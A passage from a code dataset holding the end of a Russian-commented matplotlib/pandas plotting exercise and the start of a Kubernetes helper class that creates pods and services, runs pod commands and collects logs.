plot)\r\nseries = pd.Series(3 * np.random.rand(4), index=[\"a\", \"b\", \"c\", \"d\"], name=\"series\")\r\nseries.plot.pie(figsize=(6, 6));\r\n\r\n# График матрицы рассеяния (Scatter matrix plot)\r\nfrom pandas.plotting import scatter_matrix\r\ndf = pd.DataFrame(np.random.randn(1000, 4), columns=[\"a\", \"b\", \"c\", \"d\"])\r\nscatter_matrix(df, alpha=0.2, figsize=(6, 6), diagonal=\"kde\");\r\n\r\n# График плотности (Density plot)\r\nser = pd.Series(np.random.randn(1000))\r\nser.plot.kde();\r\n\r\n# Производительность\r\n# Упрощение сегмента линии\r\n# Изображение данных без упрощений и с упрощениями\r\ny = np.random.rand(100000)\r\ny[50000:] *= 2\r\ny[np.geomspace(10, 50000, 400).astype(int)] = -1\r\nmpl.rcParams['path.simplify'] = True\r\n\r\nmpl.rcParams['path.simplify_threshold'] = 0.0\r\nplt.plot(y)\r\nplt.show()\r\n\r\nmpl.rcParams['path.simplify_threshold'] = 1.0\r\nplt.plot(y)\r\nplt.show()\r\n\r\n# Упрощение маркеров\r\nx = np.linspace(0,1 * np.pi, 100)\r\ny = np.sin(x)\r\nfig, ax = plt.subplots() \r\nax.plot(x, y)\r\nplt.plot(x, y, markevery=10)\r\nplt.show()\r\n\r\n# Разделение линий на более мелкие куски\r\nmpl.rcParams['path.simplify_threshold'] = 1.0\r\n\r\ny = np.random.rand(100000)\r\ny[50000:] *= 2\r\ny[np.geomspace(10, 50000, 400).astype(int)] = -1\r\nmpl.rcParams['path.simplify'] = True\r\n\r\nmpl.rcParams['agg.path.chunksize'] = 0\r\nplt.plot(y)\r\nplt.show()\r\n\r\nmpl.rcParams['agg.path.chunksize'] = 10000\r\nplt.plot(y)\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n", "repo_name": "akhachatrian1/Project2k", "sub_path": "4zad_2k_5g_2team.py", "file_name": "4zad_2k_5g_2team.py", "file_ext": "py", "file_size_in_byte": 11968, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "numpy.linspace", "line_number": 8, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 8, "usage_type": "attribute"}, {"api_name": "numpy.sin", "line_number": 9, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 10, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 10, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 12, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 12, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 15, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 15, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 16, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 17, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 28, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 29, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 33, "usage_type": "attribute"}, {"api_name": "numpy.random.randn", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 34, "usage_type": "attribute"}, {"api_name": "numpy.random.randn", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 35, "usage_type": "attribute"}, {"api_name": "numpy.abs", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 47, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 48, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 50, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 51, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.suptitle", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 53, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 58, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.setp", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 66, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.setp", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "numpy.exp", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 72, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 75, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 77, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 77, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 78, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 79, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 79, "usage_type": "name"}, {"api_name": "numpy.cos", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 79, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.show", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 80, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 83, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 83, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 84, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 86, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 86, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 87, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 87, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 88, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 88, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 89, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 89, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 90, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 90, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 91, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 91, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 92, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 92, "usage_type": "name"}, {"api_name": "numpy.random.randn", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 99, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 101, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 101, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 102, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 102, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 103, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 103, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 104, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 104, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 105, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 105, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 106, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 106, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 107, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 107, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 108, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 108, "usage_type": "name"}, {"api_name": "numpy.random.seed", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 112, "usage_type": "attribute"}, {"api_name": "numpy.random.normal", "line_number": 114, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 114, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 117, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 119, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 119, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 121, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 121, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 122, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 122, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yscale", "line_number": 123, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 123, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 124, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 124, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 125, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 125, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 127, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 127, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 128, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 128, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yscale", "line_number": 129, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 129, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 130, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 130, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 131, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 131, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 133, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 133, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yscale", "line_number": 134, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 134, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 135, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 135, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 136, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 136, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 138, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 138, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 139, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 139, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yscale", "line_number": 140, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 140, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 141, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 141, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 142, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 142, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots_adjust", "line_number": 144, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 144, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 145, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 145, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 149, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 149, "usage_type": "name"}, {"api_name": "pandas.Series", "line_number": 150, "usage_type": "call"}, {"api_name": "numpy.random.randn", "line_number": 150, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 150, "usage_type": "attribute"}, {"api_name": "pandas.date_range", "line_number": 150, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 153, "usage_type": "call"}, {"api_name": "numpy.random.randn", "line_number": 153, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 153, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 155, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 155, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 159, "usage_type": "call"}, {"api_name": "numpy.random.randn", "line_number": 159, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 159, "usage_type": "attribute"}, {"api_name": "pandas.Series", "line_number": 161, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 165, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 165, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 169, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 169, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axhline", "line_number": 171, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 171, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 174, "usage_type": "call"}, {"api_name": "numpy.random.rand", "line_number": 174, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 174, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 184, "usage_type": "call"}, {"api_name": "numpy.random.randn", "line_number": 186, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 186, "usage_type": "attribute"}, {"api_name": "numpy.random.randn", "line_number": 187, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 187, "usage_type": "attribute"}, {"api_name": "numpy.random.randn", "line_number": 188, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 188, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 192, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 192, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 197, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 197, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 201, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 201, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 205, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 205, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 213, "usage_type": "call"}, {"api_name": "numpy.random.rand", "line_number": 213, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 213, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 221, "usage_type": "call"}, {"api_name": "numpy.random.rand", "line_number": 221, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 221, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 222, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 222, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 226, "usage_type": "call"}, {"api_name": "numpy.random.rand", "line_number": 226, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 226, "usage_type": "attribute"}, {"api_name": "pandas.Series", "line_number": 227, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 228, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 228, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 232, "usage_type": "call"}, {"api_name": "numpy.random.rand", "line_number": 232, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 232, "usage_type": "attribute"}, {"api_name": "pandas.Series", "line_number": 233, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 234, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 235, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 235, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 239, "usage_type": "call"}, {"api_name": "numpy.random.rand", "line_number": 239, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 239, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 244, "usage_type": "call"}, {"api_name": "numpy.random.rand", "line_number": 244, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 244, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 254, "usage_type": "call"}, {"api_name": "numpy.random.randn", "line_number": 254, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 254, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 255, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 259, "usage_type": "call"}, {"api_name": "numpy.random.rand", "line_number": 259, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 259, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 264, "usage_type": "call"}, {"api_name": "numpy.random.randn", "line_number": 264, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 264, "usage_type": "attribute"}, {"api_name": "pandas.plotting.scatter_matrix", "line_number": 265, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 268, "usage_type": "call"}, {"api_name": "numpy.random.randn", "line_number": 268, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 268, "usage_type": "attribute"}, {"api_name": "numpy.random.rand", "line_number": 274, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 274, "usage_type": "attribute"}, {"api_name": "numpy.geomspace", "line_number": 276, "usage_type": "call"}, {"api_name": "matplotlib.rcParams", "line_number": 277, "usage_type": "attribute"}, {"api_name": "matplotlib.rcParams", "line_number": 279, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 280, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 280, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 281, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 281, "usage_type": "name"}, {"api_name": "matplotlib.rcParams", "line_number": 283, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 284, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 284, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 285, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 285, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 288, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 288, "usage_type": "attribute"}, {"api_name": "numpy.sin", "line_number": 289, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 290, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 290, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 292, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 292, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 293, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 293, "usage_type": "name"}, {"api_name": "matplotlib.rcParams", "line_number": 296, "usage_type": "attribute"}, {"api_name": "numpy.random.rand", "line_number": 298, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 298, "usage_type": "attribute"}, {"api_name": "numpy.geomspace", "line_number": 300, "usage_type": "call"}, {"api_name": "matplotlib.rcParams", "line_number": 301, "usage_type": "attribute"}, {"api_name": "matplotlib.rcParams", "line_number": 303, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 304, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 304, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 305, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 305, "usage_type": "name"}, {"api_name": "matplotlib.rcParams", "line_number": 307, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 308, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 308, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 309, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 309, "usage_type": "name"}]} +{"seq_id": "9828993695", "text": "from kubecepops.core.config import Config\n\n# import yaml\nfrom os import path\nfrom typing import AnyStr, Dict, List, Tuple\nfrom kubernetes import client, config, stream, watch\n\n\nclass K8sApi:\n\n @staticmethod\n def _k8s_conn_metrics() -> client.CustomObjectsApi:\n config.kube_config.load_kube_config(\n config_file=path.join(path.dirname(path.realpath(__file__)), Config.kube_config))\n conn = client.CustomObjectsApi()\n return conn\n\n @staticmethod\n def k8s_conn() -> client.CoreV1Api:\n # config 地址用个人的\n config.kube_config.load_kube_config(\n config_file=path.join(path.dirname(path.realpath(__file__)), Config.kube_config))\n conn = client.CoreV1Api()\n return conn\n\n @staticmethod\n def execute_command(command: List[AnyStr], pod_name: AnyStr): # 在pod中执行命令\n return stream.stream(K8sApi.k8s_conn().connect_get_namespaced_pod_exec, pod_name, 'default', command=command,\n stderr=True, stdin=True, stdout=True, tty=True)\n\n # @staticmethod\n # def create(): # 暂时不可用\n # config.load_kube_config()\n # with open(path.join(path.dirname(__file__), \"deploy.yaml\")) as f:\n # dep = yaml.safe_load(f)\n # k8s_apps_v1 = client.AppsV1Api()\n # resp = k8s_apps_v1.create_namespaced_deployment(\n # body=dep, namespace=\"default\")\n # print(\"Deployment created. status='%s'\" % resp.metadata.name)\n\n @staticmethod\n def create_pod(pod_name: AnyStr, selector: Dict, node_name: AnyStr, image: AnyStr, command: List[AnyStr] = None):\n # 结构体创建pod基本模板\n conn = K8sApi.k8s_conn()\n pod = client.V1Pod()\n pod.metadata = client.V1ObjectMeta(name=pod_name, labels=selector)\n container = client.V1Container(name=pod_name, image=image)\n container.image_pull_policy = Config.image_pull_policy\n if command:\n container.command = command\n # 不要删下面的，可以满足有资源限制需求的pod创建\n # ===============================================================\n # container.resources = {'requests': {'cpu': '200m'}}\n # container.command = ['/bin/bash', '-ce', 'tail -f /dev/null']\n # ===============================================================\n # 下面为测试空pod时持续Running的命令\n # container.args = ['while true; do sleep 10; done;']\n spec = client.V1PodSpec(containers=[container])\n spec.node_name = node_name\n spec.restart_policy = 'OnFailure'\n pod.spec = spec\n conn.create_namespaced_pod(namespace='default', body=pod)\n\n @staticmethod\n def create_service(service_name: AnyStr, type_: AnyStr, port: int, target_port: int) -> Tuple[AnyStr, Dict]:\n # 返回标签给pod用\n # 结构体创建service基本模板\n conn = K8sApi.k8s_conn()\n meta = client.V1ObjectMeta(namespace='default', name=service_name)\n selector_name = service_name\n body_spec = client.V1ServiceSpec()\n body_spec.type = 'ClusterIP'\n meta.labels = {type_: selector_name}\n body_spec.selector = {type_: selector_name}\n body_spec.ports = []\n # 下面注入service.spec.ports里的各类端口，如果需要暴露多个端口，就要添加到一个列表里\n service_ports = client.V1ServicePort(port=port) # service_ports.port 这个不是optional，必须写成参数传达\n service_ports.target_port = target_port # 与制作容器时暴露的端口一致（使用DockerFile中的EXPOSE）\n service_ports.protocol = 'TCP'\n body_spec.ports.append(service_ports)\n # 每多需暴露一个端口即重复一次\n body = client.V1Service(metadata=meta, spec=body_spec)\n service = conn.create_namespaced_service(namespace='default', body=body)\n return service.spec.cluster_ip, {type_: selector_name} # 返回cluster_ip和meta.labels的dict\n\n @staticmethod\n def delete_pod(pod_name: AnyStr): # 删除pod\n conn = K8sApi.k8s_conn()\n conn.delete_namespaced_pod(namespace='default', name=pod_name)\n\n @staticmethod\n def delete_service(service_name: AnyStr):\n conn = K8sApi.k8s_conn()\n conn.delete_namespaced_service(namespace='default', name=service_name)\n\n # @staticmethod\n # def print_namespaces(): # 列出 namespaces\n # conn = K8sApi.k8s_conn()\n # ret = conn.list_pod_for_all_namespaces(watch=False)\n # for i in ret.items:\n # print('%s\\t%s\\t%s' % (i.status.pod_ip, i.metadata.namespace, i.metadata.name))\n\n @staticmethod\n def get_nodes_ip() -> Dict[AnyStr, AnyStr]:\n conn = K8sApi.k8s_conn()\n ret = conn.list_node(watch=False)\n nodes_ip = {}\n for i in ret.items:\n node_name = i.metadata.name\n node_ip = i.status.addresses[0].address\n nodes_ip[node_name] = node_ip\n return nodes_ip\n\n @staticmethod\n def get_nodes_source() -> Dict:\n conn = K8sApi._k8s_conn_metrics()\n temp = conn.list_cluster_custom_object('metrics.k8s.io', 'v1beta1', 'nodes')\n return temp\n\n # @staticmethod\n # def get_pod_source() -> Dict: # 获得所有operator pod的当前资源用量\n # conn = K8sApi.k8s_conn_metrics()\n # temp = conn.list_namespaced_custom_object('metrics.k8s.io', 'v1beta1', 'default', 'pods')\n # return temp\n\n @staticmethod\n def get_pods_ip(type_: AnyStr) -> Dict[AnyStr, AnyStr]: # 获得所有type_标签下的pod\n conn = K8sApi.k8s_conn()\n # ret = conn.list_pod_for_all_namespaces(watch=False)\n ret = conn.list_namespaced_pod(namespace='default')\n pods = {}\n for i in ret.items:\n # print('%s\\t%s\\t%s' % (i.status.pod_ip, i.metadata.namespace, i.metadata.name))\n if type_ in i.metadata.labels.keys():\n pods[i.metadata.name] = i.status.pod_ip\n return pods\n\n @staticmethod\n def get_services_ip(type_: AnyStr) -> Dict[AnyStr, AnyStr]: # 获得所有type_标签下的service\n conn = K8sApi.k8s_conn()\n # ret = conn.list_service_for_all_namespaces(watch=False)\n ret = conn.list_namespaced_service(namespace='default')\n services = {}\n for i in ret.items:\n # print('%s\\t%s\\t%s\\t%s\\t%s\\n' % (\n # i.kind, i.metadata.namespace, i.metadata.name, i.spec.cluster_ip, i.spec.ports))\n if type_ in i.metadata.labels.keys():\n services[i.metadata.name] = i.spec.cluster_ip\n return services\n\n @staticmethod\n def save_log(name: AnyStr, file_path: AnyStr):\n conn = K8sApi.k8s_conn()\n w = watch.Watch()\n file_handle = open(file_path, mode='w')\n for e in w.stream(conn.read_namespaced_pod_log, name=name, namespace='default'):\n file_handle.write(e.strip() + '\\n')\n print(e)\n file_handle.close()\n\n # @staticmethod\n # def patch_pod(pod_name: AnyStr, namespace: AnyStr): # 只能改镜像和其它一些，资源改不了\n # conn = K8sApi.k8s_conn()\n # old_pod = conn.read_namespaced_pod(namespace=namespace, 